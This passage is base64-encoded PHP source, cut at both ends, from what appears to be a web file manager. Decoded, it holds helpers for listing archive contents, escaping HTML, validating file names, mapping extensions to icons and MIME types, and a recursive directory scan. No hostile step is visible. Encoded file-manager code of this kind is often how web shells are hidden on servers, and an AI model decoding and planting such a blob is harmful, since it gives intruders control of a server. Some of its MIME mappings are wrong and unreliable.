oKICogR2V0IGluZm8gYWJvdXQgemlwIGFyY2hpdmUKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcmV0dXJuIGFycmF5fGJvb2wKICovCmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dCkgewogICAgaWYgKCRleHQgPT0gJ3ppcCcgJiYgZnVuY3Rpb25fZXhpc3RzKCd6aXBfb3BlbicpKSB7CiAgICAgICAgJGFyY2ggPSBAemlwX29wZW4oJHBhdGgpOwogICAgICAgIGlmICgkYXJjaCkgewogICAgICAgICAgICAkZmlsZW5hbWVzID0gYXJyYXkoKTsKICAgICAgICAgICAgd2hpbGUgKCR6aXBfZW50cnkgPSBAemlwX3JlYWQoJGFyY2gpKSB7CiAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBAemlwX2VudHJ5X25hbWUoJHppcF9lbnRyeSk7CiAgICAgICAgICAgICAgICAkemlwX2ZvbGRlciA9IHN1YnN0cigkemlwX25hbWUsIC0xKSA9PSAnLyc7CiAgICAgICAgICAgICAgICAkZmlsZW5hbWVzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJHppcF9uYW1lLAogICAgICAgICAgICAgICAgICAgICdmaWxlc2l6ZScgPT4gQHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSwKICAgICAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiBAemlwX2VudHJ5X2NvbXByZXNzZWRzaXplKCR6aXBfZW50cnkpLAogICAgICAgICAgICAgICAgICAgICdmb2xkZXInID0+ICR6aXBfZm9sZGVyCiAgICAgICAgICAgICAgICAgICAgLy8nY29tcHJlc3Npb25fbWV0aG9kJyA9PiB6aXBfZW50cnlfY29tcHJlc3Npb25tZXRob2QoJHppcF9lbnRyeSksCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEB6aXBfY2xvc2UoJGFyY2gpOwogICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lczsKICAgICAgICB9CiAgICB9IGVsc2VpZigkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkgewogICAgICAgICRhcmNoaXZlID0gbmV3IFBoYXJEYXRhKCRwYXRoKTsKICAgICAgICAkZmlsZW5hbWVzID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoKG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKCRhcmNoaXZlKSBhcyAkZmlsZSkgewogICAgICAgICAgICAkcGFyZW50X2luZm8gPSAkZmlsZS0+Z2V0UGF0aEluZm8oKTsKICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoInBoYXI6Ly8iLiRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpOwogICAgICAgICAgICAkemlwX25hbWUgPSBzdWJzdHIoJHppcF9uYW1lLCAoJHBvcyA9IHN0cnBvcygkemlwX25hbWUsICcvJykpICE9PSBmYWxzZSA/ICRwb3MgKyAxIDogMCk7CiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpOwogICAgICAgICAgICAkemlwX2luZm8gPSBuZXcgU3BsRmlsZUluZm8oJGZpbGUpOwogICAgICAgICAgICAkZmlsZW5hbWVzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsCiAgICAgICAgICAgICAgICAnZmlsZXNpemUnID0+ICR6aXBfaW5mby0+Z2V0U2l6ZSgpLAogICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gJGZpbGUtPmdldENvbXByZXNzZWRTaXplKCksCiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlcgogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGZpbGVuYW1lczsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIEVuY29kZSBodG1sIGVudGl0aWVzCiAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICogQHJldHVybiBzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2VuYygkdGV4dCkKewogICAgcmV0dXJuIGh0bWxzcGVjaWFsY2hhcnMoJHRleHQsIEVOVF9RVU9URVMsICdVVEYtOCcpOwp9CgovKioKICogUHJldmVudCBYU1MgYXR0YWNrcwogKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAqIEByZXR1cm4gc3RyaW5nCiAqLwpmdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KSB7CiAgICByZXR1cm4gKHN0cnBicmsoJHRleHQsICcvPyUqOnwiPD4nKSA9PT0gRkFMU0UpID8gdHJ1ZSA6IGZhbHNlOwp9CgovKioKICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb24KICogQHBhcmFtIHN0cmluZyAkbXNnCiAqIEBwYXJhbSBzdHJpbmcgJHN0YXR1cwogKi8KZnVuY3Rpb24gZm1fc2V0X21zZygkbXNnLCAkc3RhdHVzID0gJ29rJykKewogICAgJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10gPSAkbXNnOwogICAgJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA9ICRzdGF0dXM7Cn0KCi8qKgogKiBDaGVjayBpZiBzdHJpbmcgaXMgaW4gVVRGLTgKICogQHBhcmFtIHN0cmluZyAkc3RyaW5nCiAqIEByZXR1cm4gaW50CiAqLwpmdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpCnsKICAgIHJldHVybiBwcmVnX21hdGNoKCcvL3UnLCAkc3RyaW5nKTsKfQoKLyoqCiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3MKICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICogQHJldHVybiBzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2NvbnZlcnRfd2luKCRmaWxlbmFtZSkKewogICAgaWYgKEZNX0lTX1dJTiAmJiBmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHsKICAgICAgICAkZmlsZW5hbWUgPSBpY29udihGTV9JQ09OVl9JTlBVVF9FTkMsICdVVEYtOC8vSUdOT1JFJywgJGZpbGVuYW1lKTsKICAgIH0KICAgIHJldHVybiAkZmlsZW5hbWU7Cn0KCi8qKgogKiBAcGFyYW0gJG9iagogKiBAcmV0dXJuIGFycmF5CiAqLwpmdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iaikKewogICAgaWYgKCFpc19vYmplY3QoJG9iaikgJiYgIWlzX2FycmF5KCRvYmopKSB7CiAgICAgICAgcmV0dXJuICRvYmo7CiAgICB9CiAgICBpZiAoaXNfb2JqZWN0KCRvYmopKSB7CiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTsKICAgIH0KICAgIHJldHVybiBhcnJheV9tYXAoJ2ZtX29iamVjdF90b19hcnJheScsICRvYmopOwp9CgovKioKICogR2V0IENTUyBjbGFzc25hbWUgZm9yIGZpbGUKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aCkKewogICAgLy8gZ2V0IGV4dGVuc2lvbgogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJHBhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwoKICAgIHN3aXRjaCAoJGV4dCkgewogICAgICAgIGNhc2UgJ2ljbyc6CiAgICAgICAgY2FzZSAnZ2lmJzoKICAgICAgICBjYXNlICdqcGcnOgogICAgICAgIGNhc2UgJ2pwZWcnOgogICAgICAgIGNhc2UgJ2pwYyc6CiAgICAgICAgY2FzZSAnanAyJzoKICAgICAgICBjYXNlICdqcHgnOgogICAgICAgIGNhc2UgJ3hibSc6CiAgICAgICAgY2FzZSAnd2JtcCc6CiAgICAgICAgY2FzZSAncG5nJzoKICAgICAgICBjYXNlICdibXAnOgogICAgICAgIGNhc2UgJ3RpZic6CiAgICAgICAgY2FzZSAndGlmZic6CiAgICAgICAgY2FzZSAnd2VicCc6CiAgICAgICAgY2FzZSAnYXZpZic6CiAgICAgICAgY2FzZSAnc3ZnJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwYXNzd2QnOgogICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzoKICAgICAgICBjYXNlICdzcWwnOgogICAgICAgIGNhc2UgJ2pzJzoKICAgICAgICBjYXNlICd0cyc6CiAgICAgICAgY2FzZSAnanN4JzoKICAgICAgICBjYXNlICd0c3gnOgogICAgICAgIGNhc2UgJ2hicyc6CiAgICAgICAgY2FzZSAnanNvbic6CiAgICAgICAgY2FzZSAnc2gnOgogICAgICAgIGNhc2UgJ2NvbmZpZyc6CiAgICAgICAgY2FzZSAndHdpZyc6CiAgICAgICAgY2FzZSAndHBsJzoKICAgICAgICBjYXNlICdtZCc6CiAgICAgICAgY2FzZSAnZ2l0aWdub3JlJzoKICAgICAgICBjYXNlICdjJzoKICAgICAgICBjYXNlICdjcHAnOgogICAgICAgIGNhc2UgJ2NzJzoKICAgICAgICBjYXNlICdweSc6CiAgICAgICAgY2FzZSAncnMnOgogICAgICAgIGNhc2UgJ21hcCc6CiAgICAgICAgY2FzZSAnbG9jayc6CiAgICAgICAgY2FzZSAnZHRkJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWNvZGUtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3R4dCc6CiAgICAgICAgY2FzZSAnaW5pJzoKICAgICAgICBjYXNlICdjb25mJzoKICAgICAgICBjYXNlICdsb2cnOgogICAgICAgIGNhc2UgJ2h0YWNjZXNzJzoKICAgICAgICBjYXNlICd5YW1sJzoKICAgICAgICBjYXNlICd5bWwnOgogICAgICAgIGNhc2UgJ3RvbWwnOgogICAgICAgIGNhc2UgJ3RtcCc6CiAgICAgICAgY2FzZSAndG9wJzoKICAgICAgICBjYXNlICdib3QnOgogICAgICAgIGNhc2UgJ2RhdCc6CiAgICAgICAgY2FzZSAnYmFrJzoKICAgICAgICBjYXNlICdodHBhc3N3ZCc6CiAgICAgICAgY2FzZSAncGwnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnY3NzJzoKICAgICAgICBjYXNlICdsZXNzJzoKICAgICAgICBjYXNlICdzYXNzJzoKICAgICAgICBjYXNlICdzY3NzJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnYnoyJzoKICAgICAgICBjYXNlICd6aXAnOgogICAgICAgIGNhc2UgJ3Jhcic6CiAgICAgICAgY2FzZSAnZ3onOgogICAgICAgIGNhc2UgJ3Rhcic6CiAgICAgICAgY2FzZSAnN3onOgogICAgICAgIGNhc2UgJ3h6JzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWFyY2hpdmUtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgY2FzZSAncGhwNCc6CiAgICAgICAgY2FzZSAncGhwNSc6CiAgICAgICAgY2FzZSAncGhwcyc6CiAgICAgICAgY2FzZSAncGh0bWwnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdodG0nOgogICAgICAgIGNhc2UgJ2h0bWwnOgogICAgICAgIGNhc2UgJ3NodG1sJzoKICAgICAgICBjYXNlICd4aHRtbCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd4bWwnOgogICAgICAgIGNhc2UgJ3hzbCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnd2F2JzoKICAgICAgICBjYXNlICdtcDMnOgogICAgICAgIGNhc2UgJ21wMic6CiAgICAgICAgY2FzZSAnbTRhJzoKICAgICAgICBjYXNlICdhYWMnOgogICAgICAgIGNhc2UgJ29nZyc6CiAgICAgICAgY2FzZSAnb2dhJzoKICAgICAgICBjYXNlICd3bWEnOgogICAgICAgIGNhc2UgJ21rYSc6CiAgICAgICAgY2FzZSAnZmxhYyc6CiAgICAgICAgY2FzZSAnYWMzJzoKICAgICAgICBjYXNlICd0ZHMnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnbTN1JzoKICAgICAgICBjYXNlICdtM3U4JzoKICAgICAgICBjYXNlICdwbHMnOgogICAgICAgIGNhc2UgJ2N1ZSc6CiAgICAgICAgY2FzZSAneHNwZic6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaGVhZHBob25lcyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2F2aSc6CiAgICAgICAgY2FzZSAnbXBnJzoKICAgICAgICBjYXNlICdtcGVnJzoKICAgICAgICBjYXNlICdtcDQnOgogICAgICAgIGNhc2UgJ200dic6CiAgICAgICAgY2FzZSAnZmx2JzoKICAgICAgICBjYXNlICdmNHYnOgogICAgICAgIGNhc2UgJ29nbSc6CiAgICAgICAgY2FzZSAnb2d2JzoKICAgICAgICBjYXNlICdtb3YnOgogICAgICAgIGNhc2UgJ21rdic6CiAgICAgICAgY2FzZSAnM2dwJzoKICAgICAgICBjYXNlICdhc2YnOgogICAgICAgIGNhc2UgJ3dtdic6CiAgICAgICAgY2FzZSAnd2VibSc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnZW1sJzoKICAgICAgICBjYXNlICdtc2cnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWVudmVsb3BlLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd4bHMnOgogICAgICAgIGNhc2UgJ3hsc3gnOgogICAgICAgIGNhc2UgJ29kcyc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnY3N2JzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2Jhayc6CiAgICAgICAgY2FzZSAnc3dwJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jbGlwYm9hcmQnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdkb2MnOgogICAgICAgIGNhc2UgJ2RvY3gnOgogICAgICAgIGNhc2UgJ29kdCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcHQnOgogICAgICAgIGNhc2UgJ3BwdHgnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtcG93ZXJwb2ludC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAndHRmJzoKICAgICAgICBjYXNlICd0dGMnOgogICAgICAgIGNhc2UgJ290Zic6CiAgICAgICAgY2FzZSAnd29mZic6CiAgICAgICAgY2FzZSAnd29mZjInOgogICAgICAgIGNhc2UgJ2VvdCc6CiAgICAgICAgY2FzZSAnZm9uJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1mb250JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGRmJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBkZi1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncHNkJzoKICAgICAgICBjYXNlICdhaSc6CiAgICAgICAgY2FzZSAnZXBzJzoKICAgICAgICBjYXNlICdmbGEnOgogICAgICAgIGNhc2UgJ3N3Zic6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1pbWFnZS1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnZXhlJzoKICAgICAgICBjYXNlICdtc2knOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2JhdCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJzsKICAgIH0KCiAgICByZXR1cm4gJGltZzsKfQoKLyoqCiAqIEdldCBpbWFnZSBmaWxlcyBleHRlbnNpb25zCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKCkKewogICAgcmV0dXJuIGFycmF5KCdpY28nLCAnZ2lmJywgJ2pwZycsICdqcGVnJywgJ2pwYycsICdqcDInLCAnanB4JywgJ3hibScsICd3Ym1wJywgJ3BuZycsICdibXAnLCAndGlmJywgJ3RpZmYnLCAncHNkJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKTsKfQoKLyoqCiAqIEdldCB2aWRlbyBmaWxlcyBleHRlbnNpb25zCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF92aWRlb19leHRzKCkKewogICAgcmV0dXJuIGFycmF5KCdhdmknLCAnd2VibScsICd3bXYnLCAnbXA0JywgJ200dicsICdvZ20nLCAnb2d2JywgJ21vdicsICdta3YnKTsKfQoKLyoqCiAqIEdldCBhdWRpbyBmaWxlcyBleHRlbnNpb25zCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF9hdWRpb19leHRzKCkKewogICAgcmV0dXJuIGFycmF5KCd3YXYnLCAnbXAzJywgJ29nZycsICdtNGEnKTsKfQoKLyoqCiAqIEdldCB0ZXh0IGZpbGUgZXh0ZW5zaW9ucwogKiBAcmV0dXJuIGFycmF5CiAqLwpmdW5jdGlvbiBmbV9nZXRfdGV4dF9leHRzKCkKewogICAgcmV0dXJuIGFycmF5KAogICAgICAgICd0eHQnLCAnY3NzJywgJ2luaScsICdjb25mJywgJ2xvZycsICdodGFjY2VzcycsICdwYXNzd2QnLCAnZnRwcXVvdGEnLCAnc3FsJywgJ2pzJywgJ3RzJywgJ2pzeCcsICd0c3gnLCAnbWpzJywgJ2pzb24nLCAnc2gnLCAnY29uZmlnJywKICAgICAgICAncGhwJywgJ3BocDQnLCAncGhwNScsICdwaHBzJywgJ3BodG1sJywgJ2h0bScsICdodG1sJywgJ3NodG1sJywgJ3hodG1sJywgJ3htbCcsICd4c2wnLCAnbTN1JywgJ20zdTgnLCAncGxzJywgJ2N1ZScsICdiYXNoJywgJ3Z1ZScsCiAgICAgICAgJ2VtbCcsICdtc2cnLCAnY3N2JywgJ2JhdCcsICd0d2lnJywgJ3RwbCcsICdtZCcsICdnaXRpZ25vcmUnLCAnbGVzcycsICdzYXNzJywgJ3Njc3MnLCAnYycsICdjcHAnLCAnY3MnLCAncHknLCAnZ28nLCAnenNoJywgJ3N3aWZ0JywKICAgICAgICAnbWFwJywgJ2xvY2snLCAnZHRkJywgJ3N2ZycsICdhc3AnLCAnYXNweCcsICdhc3gnLCAnYXNteCcsICdhc2h4JywgJ2pzcCcsICdqc3B4JywgJ2NnaScsICdkb2NrZXJmaWxlJywgJ3J1YnknLCAneW1sJywgJ3lhbWwnLCAndG9tbCcsCiAgICAgICAgJ3Zob3N0JywgJ3NjcHQnLCAnYXBwbGVzY3JpcHQnLCAnY3N4JywgJ2NzaHRtbCcsICdjKysnLCAnY29mZmVlJywgJ2NmbScsICdyYicsICdncmFwaHFsJywgJ211c3RhY2hlJywgJ2ppbmphJywgJ2h0dHAnLCAnaGFuZGxlYmFycycsCiAgICAgICAgJ2phdmEnLCAnZXMnLCAnZXM2JywgJ21hcmtkb3duJywgJ3dpa2knLCAndG1wJywgJ3RvcCcsICdib3QnLCAnZGF0JywgJ2JhaycsICdodHBhc3N3ZCcsICdwbCcKICAgICk7Cn0KCi8qKgogKiBHZXQgbWltZSB0eXBlcyBvZiB0ZXh0IGZpbGVzCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF90ZXh0X21pbWVzKCkKewogICAgcmV0dXJuIGFycmF5KAogICAgICAgICdhcHBsaWNhdGlvbi94bWwnLAogICAgICAgICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywKICAgICAgICAnYXBwbGljYXRpb24veC1qYXZhc2NyaXB0JywKICAgICAgICAnaW1hZ2Uvc3ZnK3htbCcsCiAgICAgICAgJ21lc3NhZ2UvcmZjODIyJywKICAgICAgICAnYXBwbGljYXRpb24vanNvbicsCiAgICApOwp9CgovKioKICogR2V0IGZpbGUgbmFtZXMgb2YgdGV4dCBmaWxlcyB3L28gZXh0ZW5zaW9ucwogKiBAcmV0dXJuIGFycmF5CiAqLwpmdW5jdGlvbiBmbV9nZXRfdGV4dF9uYW1lcygpCnsKICAgIHJldHVybiBhcnJheSgKICAgICAgICAnbGljZW5zZScsCiAgICAgICAgJ3JlYWRtZScsCiAgICAgICAgJ2F1dGhvcnMnLAogICAgICAgICdjb250cmlidXRvcnMnLAogICAgICAgICdjaGFuZ2Vsb2cnLAogICAgKTsKfQoKLyoqCiAqIEdldCBvbmxpbmUgZG9jcyB2aWV3ZXIgc3VwcG9ydGVkIGZpbGVzIGV4dGVuc2lvbnMKICogQHJldHVybiBhcnJheQogKi8KZnVuY3Rpb24gZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkKewogICAgcmV0dXJuIGFycmF5KCdkb2MnLCAnZG9jeCcsICd4bHMnLCAneGxzeCcsICdwZGYnLCAncHB0JywgJ3BwdHgnLCAnYWknLCAncHNkJywgJ2R4ZicsICd4cHMnLCAncmFyJywgJ29kdCcsICdvZHMnKTsKfQoKLyoqCiAqIEl0IHJldHVybnMgdGhlIG1pbWUgdHlwZSBvZiBhIGZpbGUgYmFzZWQgb24gaXRzIGV4dGVuc2lvbi4KICogQHBhcmFtIGV4dGVuc2lvbiBUaGUgZmlsZSBleHRlbnNpb24gb2YgdGhlIGZpbGUgeW91IHdhbnQgdG8gZ2V0IHRoZSBtaW1lIHR5cGUgZm9yLgogKiBAcmV0dXJuIHN0cmluZ3xzdHJpbmdbXSBUaGUgbWltZSB0eXBlIG9mIHRoZSBmaWxlLgogKi8KZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfbWltZXMoJGV4dGVuc2lvbikKewogICAgJGZpbGVUeXBlc1snc3dmJ10gPSAnYXBwbGljYXRpb24veC1zaG9ja3dhdmUtZmxhc2gnOwogICAgJGZpbGVUeXBlc1sncGRmJ10gPSAnYXBwbGljYXRpb24vcGRmJzsKICAgICRmaWxlVHlwZXNbJ2V4ZSddID0gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7CiAgICAkZmlsZVR5cGVzWyd6aXAnXSA9ICdhcHBsaWNhdGlvbi96aXAnOwogICAgJGZpbGVUeXBlc1snZG9jJ10gPSAnYXBwbGljYXRpb24vbXN3b3JkJzsKICAgICRmaWxlVHlwZXNbJ3hscyddID0gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbCc7CiAgICAkZmlsZVR5cGVzWydwcHQnXSA9ICdhcHBsaWNhdGlvbi92bmQubXMtcG93ZXJwb2ludCc7CiAgICAkZmlsZVR5cGVzWydnaWYnXSA9ICdpbWFnZS9naWYnOwogICAgJGZpbGVUeXBlc1sncG5nJ10gPSAnaW1hZ2UvcG5nJzsKICAgICRmaWxlVHlwZXNbJ2pwZWcnXSA9ICdpbWFnZS9qcGcnOwogICAgJGZpbGVUeXBlc1snanBnJ10gPSAnaW1hZ2UvanBnJzsKICAgICRmaWxlVHlwZXNbJ3dlYnAnXSA9ICdpbWFnZS93ZWJwJzsKICAgICRmaWxlVHlwZXNbJ2F2aWYnXSA9ICdpbWFnZS9hdmlmJzsKICAgICRmaWxlVHlwZXNbJ3JhciddID0gJ2FwcGxpY2F0aW9uL3Jhcic7CgogICAgJGZpbGVUeXBlc1sncmEnXSA9ICdhdWRpby94LXBuLXJlYWxhdWRpbyc7CiAgICAkZmlsZVR5cGVzWydyYW0nXSA9ICdhdWRpby94LXBuLXJlYWxhdWRpbyc7CiAgICAkZmlsZVR5cGVzWydvZ2cnXSA9ICdhdWRpby94LXBuLXJlYWxhdWRpbyc7CgogICAgJGZpbGVUeXBlc1snd2F2J10gPSAndmlkZW8veC1tc3ZpZGVvJzsKICAgICRmaWxlVHlwZXNbJ3dtdiddID0gJ3ZpZGVvL3gtbXN2aWRlbyc7CiAgICAkZmlsZVR5cGVzWydhdmknXSA9ICd2aWRlby94LW1zdmlkZW8nOwogICAgJGZpbGVUeXBlc1snYXNmJ10gPSAndmlkZW8veC1tc3ZpZGVvJzsKICAgICRmaWxlVHlwZXNbJ2RpdngnXSA9ICd2aWRlby94LW1zdmlkZW8nOwoKICAgICRmaWxlVHlwZXNbJ21wMyddID0gJ2F1ZGlvL21wZWcnOwogICAgJGZpbGVUeXBlc1snbXA0J10gPSAnYXVkaW8vbXBlZyc7CiAgICAkZmlsZVR5cGVzWydtcGVnJ10gPSAndmlkZW8vbXBlZyc7CiAgICAkZmlsZVR5cGVzWydtcGcnXSA9ICd2aWRlby9tcGVnJzsKICAgICRmaWxlVHlwZXNbJ21wZSddID0gJ3ZpZGVvL21wZWcnOwogICAgJGZpbGVUeXBlc1snbW92J10gPSAndmlkZW8vcXVpY2t0aW1lJzsKICAgICRmaWxlVHlwZXNbJ3N3ZiddID0gJ3ZpZGVvL3F1aWNrdGltZSc7CiAgICAkZmlsZVR5cGVzWyczZ3AnXSA9ICd2aWRlby9xdWlja3RpbWUnOwogICAgJGZpbGVUeXBlc1snbTRhJ10gPSAndmlkZW8vcXVpY2t0aW1lJzsKICAgICRmaWxlVHlwZXNbJ2FhYyddID0gJ3ZpZGVvL3F1aWNrdGltZSc7CiAgICAkZmlsZVR5cGVzWydtM3UnXSA9ICd2aWRlby9xdWlja3RpbWUnOwoKICAgICRmaWxlVHlwZXNbJ3BocCddID0gWydhcHBsaWNhdGlvbi94LXBocCddOwogICAgJGZpbGVUeXBlc1snaHRtbCddID0gWyd0ZXh0L2h0bWwnXTsKICAgICRmaWxlVHlwZXNbJ3R4dCddID0gWyd0ZXh0L3BsYWluJ107CiAgICAvL1Vua25vd24gbWltZS10eXBlcyBzaG91bGQgYmUgJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScKICAgIGlmKGVtcHR5KCRmaWxlVHlwZXNbJGV4dGVuc2lvbl0pKSB7CiAgICAgICRmaWxlVHlwZXNbJGV4dGVuc2lvbl0gPSBbJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSddOwogICAgfQogICAgcmV0dXJuICRmaWxlVHlwZXNbJGV4dGVuc2lvbl07Cn0KCi8qKgogKiBUaGlzIGZ1bmN0aW9uIHNjYW5zIHRoZSBmaWxlcyBhbmQgZm9sZGVyIHJlY3Vyc2l2ZWx5LCBhbmQgcmV0dXJuIG1hdGNoaW5nIGZpbGVzCiAqIEBwYXJhbSBzdHJpbmcgJGRpcgogKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXIKICogQHJldHVybiBhcnJheXxudWxsCiAqLwogZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJykgewogICAgJHBhdGggPSBGTV9ST09UX1BBVEguJy8nLiRkaXI7CiAgICAgaWYoJHBhdGgpIHsKICAgICAgICAgJGl0ZSA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkcGF0aCkpOwogICAgICAgICAkcmlpID0gbmV3IFJlZ2V4SXRlcmF0b3IoJGl0ZSwgIi8oIiAuICRmaWx0ZXIgLiAiKS9pIik7CgogICAgICAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7CiAgICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7CiAgICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7CiAgICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7CiAgICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgIm5hbWUiID0+ICRmaWxlTmFtZSwKICAgICAgICAgICAgICAgICAgICAgInR5cGUiID0+ICJmaWxlIiwKICAgICAgICAgICAgICAgICAgICAgInBhdGgiID0+ICRsb2NhdGlvbiwKICAgICAgICAgICAgICAgICApOwogICAgICAgICAg